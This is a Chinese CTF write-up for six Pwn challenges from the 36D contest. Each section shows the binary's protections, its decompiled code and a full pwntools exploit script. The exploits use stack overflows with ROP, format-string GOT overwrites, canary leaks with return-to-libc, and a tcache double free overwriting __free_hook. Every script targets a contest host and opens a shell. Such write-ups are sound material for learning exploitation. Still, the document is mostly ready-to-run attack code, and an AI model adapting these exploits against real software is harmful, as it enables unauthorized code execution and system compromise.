【WriteUp】36D杯 -- Pwn 题解

五一去逛唐山的南湖公园了,题目做的有点晚

签到

Description:

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-20h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  gets(&v4, 0LL);
  system("echo hello wrold!");
  return 0;
}

题不难,入门 Pwn,拿到 shell 后的命令注入比较恶心,过滤了很多东东

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('124.156.121.112', 28098)
elf = ELF('./chall', checksec=False)
plt_system = elf.plt['system']
addr_sh = 0x601040
rop1 = 0x00000000004006d3  # pop rdi ; ret
rop2 = 0x00000000004004ce  # ret

# gdb.attach(p, "set follow-fork-mode parent\nb *0x400662\nc")
pd = 'a' * 0x28
pd += p64(rop2)
pd += p64(rop1)
pd += p64(addr_sh)
pd += p64(plt_system)
p.sendline(pd)
p.sendline("tac<./flag")
p.interactive()

Flag:

动态靶机

babyFmtstr

Description:

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *ptr; // ST08_8
  char *v4; // ST10_8

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  ptr = vuln();
  v4 = check_main();
  printf("your motto is \"%s\"\n", v4);
  free(ptr);
  free(v4);
  return 0LL;
}

vuln 函数如下:

char *sub_400D0A()
{
  char *v0; // ST08_8
  char s; // [rsp+10h] [rbp-40h]
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  sleep(0);
  puts("please input name:");
  read_n(&s, 0x32uLL);
  v0 = strdup(&s);
  printf("Hello ", 50LL, sleep);
  printf(&s);
  return v0;
}

read_n 函数如下:

unsigned __int64 __fastcall read_n(__int64 a1, unsigned __int64 a2)
{
  char buf; // [rsp+1Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0LL; i < a2; ++i )
  {
    read(0, &buf, 1uLL);
    if ( buf == 10 )
    {
      *(i + a1) = 0;
      return i + 1;
    }
    *(a1 + i) = buf;
  }
  *(a2 - 1 + a1) = 0;
  return a2;
}

check_main 函数如下:

char *check_main()
{
  _QWORD *v0; // rax
  __int64 v2; // [rsp+0h] [rbp-420h]
  char *v3; // [rsp+8h] [rbp-418h]
  char s; // [rsp+10h] [rbp-410h]
  unsigned __int64 v5; // [rsp+418h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("please input size of motto:");
  v2 = read_strtoll();
  if ( v2 < 0 )
    v2 = -v2;
  if ( v2 > 0x400 )
    v2 = 0x400LL;
  puts("please input motto:");
  read_n(&s, v2);
  v3 = strdup(&s);
  if ( check(&s) ^ 1 )
  {
    v0 = __cxa_allocate_exception(8LL);
    *v0 = "The format of motto is error!";
    __cxa_throw(v0, &`typeinfo for'char const*, 0LL);
  }
  return v3;
}

read_strtoll 函数如下:

__int64 read_strtoll()
{
  char s; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&s, 0, 0x20uLL);
  read_n(&s, 0x20uLL);
  return strtoll(&s, 0LL, 10);
}

check 函数如下:

signed __int64 __fastcall sub_400B96(__int64 a1)
{
  int i; // [rsp+14h] [rbp-4h]

  for ( i = 0; *(i + a1); ++i )
  {
    if ( *(i + a1) <= 0x1F || *(i + a1) == 0x7F )
      return 0LL;
  }
  return 1LL;
}

没啥好说的,格式化字符串漏洞基本都是送分题,就是调试麻烦

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('124.156.121.112', 28037)
elf = ELF('./chall', checksec=False)
got_free = elf.got['free']
got_strtoll = elf.got['strtoll']
plt_strtoll = elf.plt['strtoll']
addr_main = 0x400E93


p.sendlineafter('name:\n', fmtstr_payload(8, {got_strtoll: addr_main}, write_size='short'))
p.sendlineafter('size of motto:\n', '38')
# gdb.attach(p, "b *0x400D81\nb *0x400ef3\nc")
p.sendlineafter('name:\n', '%12$p')
p.recvuntil('Hello ')

addr__IO_2_1_stdout_ = int(p.recv(14), 16)
# libc6_2.23-0ubuntu11_amd64.so
libc = easyLibc('_IO_2_1_stdout_', addr__IO_2_1_stdout_, 1)
libcbase = addr__IO_2_1_stdout_ - libc.dump('_IO_2_1_stdout_')
addr_system = libcbase + libc.dump('system')
p.sendlineafter('size of motto:\n', '31')
p.sendlineafter('name:\n', fmtstr_payload(8, {got_free: addr_system & 0xffffffff}, write_size='short') + '\x00')
p.sendlineafter('size of motto:\n', '31')

pd = '%' + str(addr_system >> 32 & 0xff) + 'c%12$hhn'
pd = pd.ljust(0x20, 'a')
pd += p64(got_free + 4)
pd += '\x00'
p.sendlineafter('name:\n', pd)
p.sendlineafter('size of motto:\n', '31')

pd = '%' + str(addr_system >> 40 & 0xff) + 'c%12$hhn'
pd = pd.ljust(0x20, 'a')
pd += p64(got_free + 5)
pd += '\x00'
p.sendlineafter('name:\n', pd)
p.sendlineafter('size of motto:\n', '31')

# gdb.attach(p, "b *0x400D81\nb *0x400ef3\nc")
p.sendlineafter('name:\n', fmtstr_payload(8, {got_strtoll: plt_strtoll + 6}, write_size='byte'))
p.sendlineafter('size of motto:\n', '31')
p.sendlineafter('t motto:\n', '/bin/sh\x00')

success('addr__IO_2_1_stdout_ = ' + hex(addr__IO_2_1_stdout_))
success('libcbase             = ' + hex(libcbase))
success('addr_system          = ' + hex(addr_system))
p.interactive()

Flag:

动态靶机

MagicString

Description:

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-2A0h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  system("echo Throw away ida pro!!! I want a girlfriend!");
  gets((__int64)&v4, 0LL);
  return 0;
}

有后门字符串

.data:0000000000601048 a1              db '/bin/ti',0

还有后门函数,look_here 函数如下:

_BYTE *__fastcall look_here(_BYTE *a1)
{
  _BYTE *result; // rax
  _BYTE *v2; // [rsp+0h] [rbp-18h]
  signed int i; // [rsp+14h] [rbp-4h]

  v2 = a1;
  for ( i = 0; i <= 1; ++i )
  {
    result = v2;
    --*v2++;
  }
  return result;
}

随便打……

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('124.156.121.112', 28020)
elf = ELF('./chall', checksec=False)
plt_system = elf.plt['system']
rop1 = 0x0000000000400733  # pop rdi ; ret
addr_sh = 0x60104d
addr_look_here = elf.sym['look_here']

pd = 'a' * 0x2a8
pd += p64(rop1)
pd += p64(addr_sh)
pd += p64(addr_look_here)
pd += p64(plt_system)
p.sendlineafter('girlfriend!\n', pd)
p.interactive()

Flag:

动态靶机

MengxinStack

Description:

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST0C_4
  char buf; // [rsp+10h] [rbp-40h]
  unsigned __int64 v6; // [rsp+38h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("She said: hello?");
  v3 = read(0, &buf, 0x100uLL) - 1;
  printf("%s", &buf);
  read(0, &buf, 0x100uLL);
  puts("You had me at hello.");
  return 0;
}

先利用第一次的 read 泄露出 canary,覆盖最后一个字节,使程序跳转到如下所示的位置:

0x7f3785b84829 <__libc_start_main+233>    mov    rax, qword ptr [rsp + 0x18]
0x7f3785b8482e <__libc_start_main+238>    call   rax

第二个 read 还原 canary,上面这两句话执行完以后程序会返回到 start 函数,重新运行

那么第二次利用第一个 read 泄露出 libc,之后第二个找 libc 里的 rop 来跳转即可

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('124.156.121.112', 28066)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)

gdb.attach(p, "b *$rebase(0x9F1)\nc")
pd = 'a' * 0x29
p.sendafter('hello?\n', pd)
p.recvuntil(pd)

canary = u64('\x00' + p.recv(7))

pd = 'a' * 0x28
pd += p64(canary)
pd += 's' * 0x18
pd += '\x29'
p.send(pd)

pd = 'a' * 0x40
p.sendafter('hello?\n', pd)
p.recvuntil('\x73\x30')

addr___libc_start_main = u64(('\x30' + p.recv(5)).ljust(8, '\x00')) - 240
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()
addr_pop_rdi_ret = libcbase + libc.search(asm("pop rdi;ret")).next()

pd = 'a' * 0x28
pd += p64(canary)
pd += 's' * 0x18
pd += p64(addr_pop_rdi_ret + 1)
pd += p64(addr_pop_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.send(pd)

success('canary                 = ' + hex(canary))
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('libcbase               = ' + hex(libcbase))
success('addr_system            = ' + hex(addr_system))
success('addr_pop_rdi_ret       = ' + hex(addr_pop_rdi_ret))
p.interactive()

Flag:

动态靶机

babyheap

Description:

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init();
  while ( 1 )
  {
    while ( 1 )
    {
      puts("Welcome to The 36D 233333!");
      puts("Do you want 36D?\n");
      v3 = menu();
      if ( v3 != 2 )
        break;
      dele();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        show();
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("Bye!");
          exit(0);
        }
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      add();
    }
  }
}

init 函数如下:

unsigned int init()
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  return alarm(0x3Cu);
}

menu 函数如下:

int menu()
{
  puts("1.add");
  puts("2.delete");
  puts("3.show");
  puts("4.exit");
  printf(">>");
  return readint();
}

add 函数如下:

int add()
{
  signed int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 29; ++i )
  {
    if ( !list[i] )
    {
      list[i] = malloc(0x20uLL);
      printf("leave some message_of_your 36D:");
      readn(list[i], 0x10u);
      puts("ok\n");
      return puts("Now you get your 36D which you want!\n");
    }
  }
  return puts("Full!");
}

dele 函数如下:

int dele()
{
  char *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  printf("index:");
  LODWORD(v0) = readint();
  v2 = v0;
  if ( v0 >= 0 && v0 <= 29 )
  {
    v0 = list[v0];
    if ( v0 )
    {
      free(list[v2]);
      puts("ok");
      LODWORD(v0) = puts("you delete your 36D!\n");
    }
  }
  return v0;
}

show 函数如下:

int show()
{
  char *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  printf("index:");
  LODWORD(v0) = readint();
  v2 = v0;
  if ( v0 >= 0 && v0 <= 29 )
  {
    v0 = list[v0];
    if ( v0 )
      LODWORD(v0) = puts(list[v2]);
  }
  return v0;
}

readint 函数如下:

int readint()
{
  char nptr; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  readn(&nptr, 8u);
  return atoi(&nptr);
}

readn 函数如下:

__int64 __fastcall readn(__int64 a1, unsigned int a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2; ++i )
  {
    read(0, (i + a1), 1uLL);
    if ( *(i + a1) == 10 )
    {
      *(i + a1) = 0;
      return i;
    }
  }
  return a2;
}

随便一看程序就是奔放的 UAF 和无检测的功能函数,那么先利用 tcache bin 转为 fastbin 后,制造最后一个 tcache bin 对于 fastbin 的 double free

那么就可以让第一次覆盖到 got 表时,tcache bin 里 0x20 大小的堆块数目不会变为 -1

然后利用 show 泄露 libc,再覆盖 __free_hook 为 one_gadget 即可

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('124.156.121.112', 28050)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)


def add(add_msg):
    p.sendlineafter('>>', '1')
    p.sendlineafter('r 36D:', add_msg)


def delete(delete_idx):
    p.sendlineafter('>>', '2')
    p.sendlineafter('index:', str(delete_idx))


def show(show_idx):
    p.sendlineafter('>>', '3')
    p.sendlineafter('index:', str(show_idx))


got_alarm = elf.got['alarm']
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]

for i in range(0, 9):
    add('')
for i in range(0, 9):
    delete(i)
delete(7)
for i in range(0, 7):
    add('')
add(p64(got_alarm))
add(p64(got_alarm))
add(p64(got_alarm))
add('')
show(19)

addr_alarm = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_alarm - libc.sym['alarm']
addr___free_hook = libcbase + libc.sym['__free_hook']
addr_one_gadget = libcbase + libc_one_gadget[1]

delete(0)
delete(0)
add(p64(addr___free_hook))
add(p64(addr___free_hook))
add(p64(addr_one_gadget))
delete(1)

success('addr_alarm       = ' + hex(addr_alarm))
success('libcbase         = ' + hex(libcbase))
success('addr___free_hook = ' + hex(addr___free_hook))
success('addr_one_gadget  = ' + hex(addr_one_gadget))
# gdb.attach(p)
p.interactive()

Flag:

动态靶机

tang

Description:

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

首先就看到了这个 hint 函数:

int hint()
{
  return printf("hint:execve");
}

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-50h]
  unsigned __int64 v5; // [rsp+38h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  lookhere();
  puts("烫烫烫烫烫烫烫烫烫烫烫烫");
  read(0, &::buf, 0x190uLL);
  lookthere();
  puts("...你把手离火炉远一点!");
  return read(0, &buf, 0x60uLL);
}

lookhere 函数如下:

unsigned __int64 lookhere()
{
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("你怎么了?");
  read(0, &buf, 5uLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}

lookthere 函数如下:

void *lookthere()
{
  return memcpy(&buf, &off_B78, 0x110uLL);
}

思路跟 MengxinStack 差不多,也是 libc 里面找那个跳转,回到 start 函数

第一次格式化字符串泄露 canary,第二次格式化字符串泄露 libc

之后随便打

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('124.156.121.112', 28097)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

p.sendlineafter('你怎么了?\n', '%9$p')
canary = int(p.recv(18), 16)
p.sendlineafter('烫烫烫\n', 'a')
pd = 'a' * 0x38
pd += p64(canary)
pd += 's' * 0x18
pd += '\x29'
p.sendafter('远一点!\n', pd)

# gdb.attach(p, "b *$rebase(0xAC6)\nc")
p.sendafter('你怎么了?\n', '%23$p')

addr___libc_start_main = int(p.recv(14), 16) - 240
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_one_gadget = libcbase + libc_one_gadget[3]

p.sendlineafter('烫烫烫\n', 'a')
pd = 'a' * 0x38
pd += p64(canary)
pd += 's' * 0x18
pd += p64(addr_one_gadget)
p.sendafter('远一点!\n', pd)
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('addr_one_gadget        = ' + hex(addr_one_gadget))
p.interactive()

Flag:

动态靶机
点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注